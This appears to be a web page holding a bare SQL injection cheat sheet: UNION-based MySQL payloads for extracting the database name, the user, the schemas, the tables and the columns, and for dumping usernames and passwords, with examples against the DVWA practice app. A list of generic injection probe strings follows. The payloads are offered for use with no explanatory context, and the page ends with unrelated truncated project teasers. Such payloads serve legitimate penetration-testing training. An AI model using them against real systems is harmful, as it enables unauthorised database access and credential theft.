Get Database Name
' union select database(),2 --
Get Username
' union select user(),null --
Get Databases
' union select distinct table_schema, null from information_schema.tables--
Get Tables
' union select null, TABLE_NAME from information_schema.tables where table_schema='DATABASE_NAME'--
Example
' union select null, TABLE_NAME from information_schema.tables where table_schema='dvwa'--
Get COLUMNS
' union select null, COLUMN_NAME from information_schema.COLUMNS where table_schema='DATABASE_NAME' AND TABLE_NAME='TABLE_NAME'--
Example
' union select null, COLUMN_NAME from information_schema.COLUMNS where table_schema='dvwa' AND TABLE_NAME='users'--
Get Data from Table
' union select username, password from DATABASE_NAME.TABLE_NAME --
Example
' union select username, password from dvwa.users --
Generic Payloads:
'
"
''
`
``
,
""
/
//
\
;
' or "
-- or #
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
/*…*/
SQL Injection Cheat Sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
Energy plays very important role in the social economic development of a country. It is ve...
Being in an era where the technology changes constantly and innovation are evolved. Everyo...
This project is design to indicate for any person having skin problem, student which can s...
Quadcopters are small rotary craft that can be used in various environments, where they ar...
We have to design an appratus for electricity generation or mechanical power by vortex flo...